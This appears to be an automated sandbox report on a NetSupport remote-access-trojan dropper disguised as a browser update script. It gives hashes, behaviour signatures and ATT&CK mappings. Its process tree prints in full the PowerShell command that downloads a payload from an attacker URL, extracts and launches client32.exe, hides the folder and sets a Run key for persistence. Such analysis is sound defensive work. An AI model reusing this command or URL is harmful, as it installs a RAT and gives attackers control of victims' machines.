netsupport | d8f2134faeed8cf62887aaad8403ab7f29b5cd26cd03b81cb59774442d97fc0e

General

Target

Update_browser_17.6436.js
Size

296KB
MD5

fd24b53547b889be132aa98a7f193614
SHA1

c5331d01d1149e8b5846d076afaa3f60f5458f99
SHA256

d8f2134faeed8cf62887aaad8403ab7f29b5cd26cd03b81cb59774442d97fc0e
SHA512

54995b6a818f870655cd33b2b4cdf1185cdfbb91ecf6c8217834ec454041039a4defd7c178851ac11bc32d61d08dd92a2a6207ce90071d2d7987019ae9074c79
SSDEEP

3072:4OpyDJu8XUtQQSO1T7cbF/nlz3wq2BOOpyDJu8XUtQQSO1T7cbF/nlz3wq2Bp:lcJ6QhO1T7cZd6BvcJ6QhO1T7cZd6Bp

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://boxtechcompany.com/data.php?9681

exe.dropper

https://boxtechcompany.com/data.php?9681

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4812	wscript.exe
5	4596	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4824	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
4824	client32.exe
4824	client32.exe
4824	client32.exe
4824	client32.exe
4824	client32.exe
4824	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1775739321-368907234-981748298-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-309\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4596	powershell.exe
4596	powershell.exe
4596	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeSecurityPrivilege	4824	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4824	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 4596	4812	wscript.exe	75
PID 4812 wrote to memory of 4596	4812	wscript.exe	75
PID 4596 wrote to memory of 4824	4596	powershell.exe	77
PID 4596 wrote to memory of 4824	4596	powershell.exe	77
PID 4596 wrote to memory of 4824	4596	powershell.exe	77

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $whubNclzRpNUFchqtLtkjr='https://boxtechcompany.com/data.php?9681';$HhSabTsTaRWAecAVWookgFyUGEiPzWRnmOt=(New-Object System.Net.WebClient).DownloadString($whubNclzRpNUFchqtLtkjr);$RRmmWUdEpIkWsSbxEkxpti=[System.Convert]::FromBase64String($HhSabTsTaRWAecAVWookgFyUGEiPzWRnmOt);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $beWQbClTwOYQbxASbmDjlcdi=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $beWQbClTwOYQbxASbmDjlcdi -PathType Container)) { New-Item -Path $beWQbClTwOYQbxASbmDjlcdi -ItemType Directory };$p=Join-Path $beWQbClTwOYQbxASbmDjlcdi 'vib.zip';[System.IO.File]::WriteAllBytes($p,$RRmmWUdEpIkWsSbxEkxpti);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$beWQbClTwOYQbxASbmDjlcdi)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $beWQbClTwOYQbxASbmDjlcdi 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $beWQbClTwOYQbxASbmDjlcdi -Force; $FSDFSSD.attributes='Hidden';$s=$beWQbClTwOYQbxASbmDjlcdi+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Users\Admin\AppData\Roaming\DIVX-309\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX-309\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hztkkti.ewk.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/4596-4-0x000002704AE40000-0x000002704AE62000-memory.dmp

Filesize
136KB

Download
memory/4596-9-0x000002704A860000-0x000002704A870000-memory.dmp

Filesize
64KB

Download
memory/4596-8-0x000002704A860000-0x000002704A870000-memory.dmp

Filesize
64KB

Download
memory/4596-10-0x0000027063110000-0x0000027063186000-memory.dmp

Filesize
472KB

Download
memory/4596-6-0x00007FFFB52E0000-0x00007FFFB5CCC000-memory.dmp

Filesize
9.9MB

Download
memory/4596-25-0x000002704A860000-0x000002704A870000-memory.dmp

Filesize
64KB

Download
memory/4596-44-0x00000270634B0000-0x00000270634C2000-memory.dmp

Filesize
72KB

Download
memory/4596-43-0x00000270630F0000-0x00000270630FA000-memory.dmp

Filesize
40KB

Download
memory/4596-116-0x00007FFFB52E0000-0x00007FFFB5CCC000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads